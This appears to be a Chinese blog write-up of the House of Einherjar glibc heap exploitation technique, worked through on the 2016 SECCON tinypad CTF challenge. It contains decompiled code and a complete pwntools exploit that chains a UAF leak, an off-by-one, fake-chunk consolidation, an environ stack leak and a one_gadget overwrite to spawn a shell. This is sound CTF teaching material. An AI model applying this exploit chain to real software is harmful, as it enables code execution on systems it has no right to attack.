0%

House of Einherjar

alt

House Of Einherjar

介绍

house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出。该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作(合并低地址的 chunk),从而使得尽可能避免碎片化。

此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。

原理

后向合并操作

free 函数中的后向合并核心操作如下

1
2
3
4
5
6
7
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

后向合并是合并低地址的chunk,和prev_size和prev_inuse有关,只要我们可以控制这俩个,修改prev_size的大小,我们就可以通过后向合并,将合并后的chunk定位到任何地方。

但是在合并的过程中需要进行unlink,需要在对应chunk构造好fake chunk来绕过unlink的检测。这种利用方式和chunk extend/overlapping比较相似。

这里的绕过unlink操作和之前有点不一样。

1
2
p->fd = p
p->bk = p

下面以一道例题讲解一下:

2016 Seccon tinypad

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rsi@1
const char *v4; // rdi@1
__int64 v5; // rax@4
int v6; // eax@7
signed int v7; // eax@20
__int64 v8; // rax@40
unsigned __int64 v9; // rax@40
int result; // eax@45
__int64 v11; // rcx@45
int c; // [sp+4h] [bp-1Ch]@3
int i; // [sp+8h] [bp-18h]@2
int v14; // [sp+Ch] [bp-14h]@7
int v15; // [sp+10h] [bp-10h]@1
int v16; // [sp+14h] [bp-Ch]@19
__int64 v17; // [sp+18h] [bp-8h]@1

v17 = *MK_FP(__FS__, 40LL);
v15 = 0;
write_n(&unk_4019F0, 1LL);
write_n(
" ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n",
563LL);
v3 = 1LL;
v4 = &unk_4019F0;
write_n(&unk_4019F0, 1LL);
do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12LL);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12LL);
if ( *&tinypad[16 * (i + 16LL) + 8] )
{
v5 = strlen(*&tinypad[16 * (i + 16LL) + 8]);
writeln(*&tinypad[16 * (i + 16LL) + 8], v5);
}
v3 = 1LL;
v4 = &unk_4019F0;
writeln(&unk_4019F0, 1LL);
}
v14 = 0;
v6 = getcmd(v4, v3);
v15 = v6;
if ( v6 == 68 )
{
write_n("(INDEX)>>> ", 11LL);
v14 = read_int("(INDEX)>>> ", 11LL);
if ( v14 > 0 && v14 <= 4 )
{
if ( *&tinypad[16 * (v14 - 1 + 16LL)] )
{
free(*&tinypad[16 * (v14 - 1 + 16LL) + 8]);// uaf
*&tinypad[16 * (v14 - 1 + 16LL)] = 0LL;
v3 = 9LL;
v4 = "\nDeleted.";
writeln("\nDeleted.", 9LL);
}
else
{
v3 = 8LL;
v4 = "Not used";
writeln("Not used", 8LL);
}
}
else
{
v3 = 13LL;
v4 = "Invalid index";
writeln("Invalid index", 13LL);
}
}
else if ( v6 > 68 )
{
if ( v6 != 69 )
{
if ( v6 == 81 )
continue;
LABEL_43:
v3 = 17LL;
v4 = "No such a command";
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL);
v14 = read_int("(INDEX)>>> ", 11LL);
if ( v14 > 0 && v14 <= 4 )
{
if ( *&tinypad[16 * (v14 - 1 + 16LL)] )
{
c = 48;
strcpy(tinypad, *&tinypad[16 * (v14 - 1 + 16LL) + 8]);
while ( toupper(c) != 89 )
{
write_n("CONTENT: ", 9LL);
v8 = strlen(tinypad);
writeln(tinypad, v8);
write_n("(CONTENT)>>> ", 13LL);
v9 = strlen(*&tinypad[16 * (v14 - 1 + 16LL) + 8]);
read_until(tinypad, v9, 0xAu);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until(&c, 1uLL, 0xAu);
}
strcpy(*&tinypad[16 * (v14 - 1 + 16LL) + 8], tinypad);
v3 = 8LL;
v4 = "\nEdited.";
writeln("\nEdited.", 8LL);
}
else
{
v3 = 8LL;
v4 = "Not used";
writeln("Not used", 8LL);
}
}
else
{
v3 = 13LL;
v4 = "Invalid index";
writeln("Invalid index", 13LL);
}
}
else
{
if ( v6 != 65 )
goto LABEL_43;
while ( v14 <= 3 && *&tinypad[16 * (v14 + 16LL)] )
++v14;
if ( v14 == 4 )
{
v3 = 17LL;
v4 = "No space is left.";
writeln("No space is left.", 17LL);
}
else
{
v16 = -1;
write_n("(SIZE)>>> ", 10LL);
v16 = read_int("(SIZE)>>> ", 10LL);
if ( v16 <= 0 )
{
v7 = 1;
}
else
{
v7 = v16;
if ( v16 > 0x100 )
v7 = 256;
}
v16 = v7;
*&tinypad[16 * (v14 + 16LL)] = v7;
*&tinypad[16 * (v14 + 16LL) + 8] = malloc(v16);
if ( !*&tinypad[16 * (v14 + 16LL) + 8] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(*&tinypad[16 * (v14 + 16LL) + 8], v16, 0xAu);
v3 = 7LL;
v4 = "\nAdded.";
writeln("\nAdded.", 7LL);
}
}
}
while ( v15 != 81 );
result = 0;
v11 = *MK_FP(__FS__, 40LL) ^ v17;
return result;
}

漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
unsigned __int64 result; // rax@3
__int64 v4; // rcx@12
unsigned int v5; // [sp+Ch] [bp-34h]@1
unsigned __int64 i; // [sp+28h] [bp-18h]@1
signed __int64 v7; // [sp+30h] [bp-10h]@2
__int64 v8; // [sp+38h] [bp-8h]@1

v5 = a3;
v8 = *MK_FP(__FS__, 40LL);
for ( i = 0LL; i < a2; ++i )
{
v7 = read_n(0, a1 + i, 1uLL);
if ( v7 < 0 )
{
result = -1LL;
goto LABEL_12;
}
if ( !v7 || *(a1 + i) == v5 )
break;
}
*(a1 + i) = 0; // off by one
if ( i == a2 && *(a2 - 1 + a1) != 10 )
dummyinput(v5);
result = i;
LABEL_12:
v4 = *MK_FP(__FS__, 40LL) ^ v8;
return result;
}

利用:

1.程序free的时候只将size位清空,而没有将指针清空,就导致uaf漏洞,我们可以通过该漏洞泄露heap_base。

1
2
3
4
5
6
7
8
add(0x70,'L0ne1y')
add(0x70,'L0ne1y')
add(0x100,'L0ne1y')
free(2)
free(1)
sh.recvuntil(' # CONTENT: ')
heap_addr=u64(sh.recvline().rstrip().ljust(8, '\x00'))-0x80
sh.success('heap_addr: ' +hex(heap_addr))

2.通过UAF泄露libc_base。

1
2
3
4
5
6
free(3)
sh.recvuntil(' # CONTENT: ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20 #leak libc_base
sh.success('libc_base : ' +hex(libc_base))

​ 因为chunk3和top chunk相邻,所以释放时不会被加入Unsorted Bin。然后直接合并到top chunk中。然后此时,fastbin中有两个相邻堆块,并且与top chunk相邻,会触发合并,fastbin-> 1-> 2,首先1会先被加入unsorted bin中,此时chunk 1’so fd和bk指针会指向main_arena + 88(Unsorted Bin)地址。然后chunk 2和chunk 1合并成一个新的chunk放入unsorted bin中。这个过程并不会改变chunk 1的fd和bk指针。所以此时输出memo 1的内容就会输出unsorted bin的地址,继而算出libc地址。

3.house of einherjar攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x18, 'a'*0x10)  #1
add(0x100, 'b'*0xf8+'\x11') #2
add(0x100, 'c'*0xf8) #3
add(0x100, 'd'*0xf8) #4

tinypad = 0x0000000000602040
offest=heap_addr+0x20-0x602060
sh.success('offest : ' +hex(offest))
fake_chunk=p64(0)+p64(0x101)+p64(0x602060)*2
edit(3,'c'*0x20+fake_chunk)
free(1)
add(0x18,'a'*0x10+p64(offest))
free(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 88)*2)
#gdb.attach(sh)
1
add(0x100, 'b'*0xf8+'\x11') #2

​ 因为off by one 导致chunk3的size位变为0,所以需要伪造上。

1
edit(3,'c'*0x20+fake_chunk)

​ 这里需要在tinypad伪造chunk,为后续house of einherjar做准备。

1
add(0x18,'a'*0x10+p64(offest))

​ 覆盖prev_size,准备unlink

1
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 88)*2)

​ 0x101是为了后面分配用的,而p64(leak_libc+88)*2 这里,你只要bk是个可写的地址就行了,不要是不可写的就行,unsortedbin攻击里讲过。

1
2
3
4
5
6
7
#在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

4.获取environ指针

1
2
3
4
one_gadget=libc_base+0xf1207
sh.success('one_gadget : ' +hex(one_gadget))
environ_pointer=libc_base+libc.symbols['__environ']
sh.success('environ_pointer : ' +hex(environ_pointer))

​ 在 Linux 系统中,glibc 的环境指针 environ(environment pointer) 为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址。

相关知识:

http://0x4c43.cn/2018/1013/stack-overflow-smash-utilization/

5.get shell

1
2
3
4
5
6
7
8
9
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer)+'a'*8+p64(0x602148))
sh.recvuntil(" # INDEX: 1\n")
sh.recvuntil(" # CONTENT: ")
main_ret=u64(sh.recv(6).ljust(8,'\x00'))-0xf0
sh.success('main_ret : ' +hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))

sh.sendline('q')
1
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer)+'a'*8+p64(0x602148))

​ 将[tinypad +256]中的Chunk2的堆栈地址修改为chunk1,将chunk1的堆栈地址修改为Environ_pointer,泄露Environ_pointer的栈地址,得到main_ret地址,再造成main_ret->one_gadget的情况。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#! /usr/bin/env python

from pwn import *

sh=process('./tinypad')
elf=ELF('./tinypad')
libc=elf.libc
#context.log_level='debug'


def add(size,content):
sh.recvuntil('>>> ')
sh.sendline('A')
sh.recvuntil('>>> ')
sh.sendline(str(size))
sh.recvuntil('>>> ')
sh.sendline(content)

def edit(index,content):
sh.recvuntil('>>> ')
sh.sendline('E')
sh.recvuntil('>>> ')
sh.sendline(str(index))
sh.recvuntil('>>> ')
sh.sendline(content)
sh.recvuntil('>>> ')
sh.sendline('Y')

def free(index):
sh.recvuntil('>>> ')
sh.sendline('D')
sh.recvuntil('>>> ')
sh.sendline(str(index))

add(0x70,'L0ne1y')
add(0x70,'L0ne1y')
add(0x100,'L0ne1y')
free(2)
free(1)
sh.recvuntil(' # CONTENT: ') #leak heap_base
heap_addr=u64(sh.recvline().rstrip().ljust(8, '\x00'))-0x80
sh.success('heap_addr: ' +hex(heap_addr))

free(3)
sh.recvuntil(' # CONTENT: ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20 #leak libc_base
sh.success('libc_base : ' +hex(libc_base))

add(0x18, 'a'*0x10) #1
add(0x100, 'b'*0xf8+'\x11') #2
add(0x100, 'c'*0xf8) #3
add(0x100, 'd'*0xf8) #4

#house of einherjar
tinypad = 0x0000000000602040
offest=heap_addr+0x20-0x602060
sh.success('offest : ' +hex(offest))
fake_chunk=p64(0)+p64(0x101)+p64(0x602060)*2
edit(3,'c'*0x20+fake_chunk)
free(1)
add(0x18,'a'*0x10+p64(offest))
free(2)
edit(4, "4"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 88)*2)
#gdb.attach(sh)

#get environ
one_gadget=libc_base+0xf1207
sh.success('one_gadget : ' +hex(one_gadget))
environ_pointer=libc_base+libc.symbols['__environ']
sh.success('environ_pointer : ' +hex(environ_pointer))

#gdb.attach(sh)
#Modified the stack addresses of Chunk2 in [Tinypad +256] to chunk1 and the stack addresses of Chunk1 to Environ_pointer
add(0xf0, '1'*0xd0 + p64(0x18) + p64(environ_pointer)+'a'*8+p64(0x602148))

#get shell
sh.recvuntil(" # INDEX: 1\n")
sh.recvuntil(" # CONTENT: ")
main_ret=u64(sh.recv(6).ljust(8,'\x00'))-0xf0
sh.success('main_ret : ' +hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))

sh.sendline('q')

#gdb.attach(sh)
sh.interactive()

参考链接:

https://v1ckydxp.github.io/2019/07/07/House_Of_Einherjar--2016-Seccon-tinypad-writeup/

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_einherjar-zh/

https://noonegroup.xyz/posts/14c79378/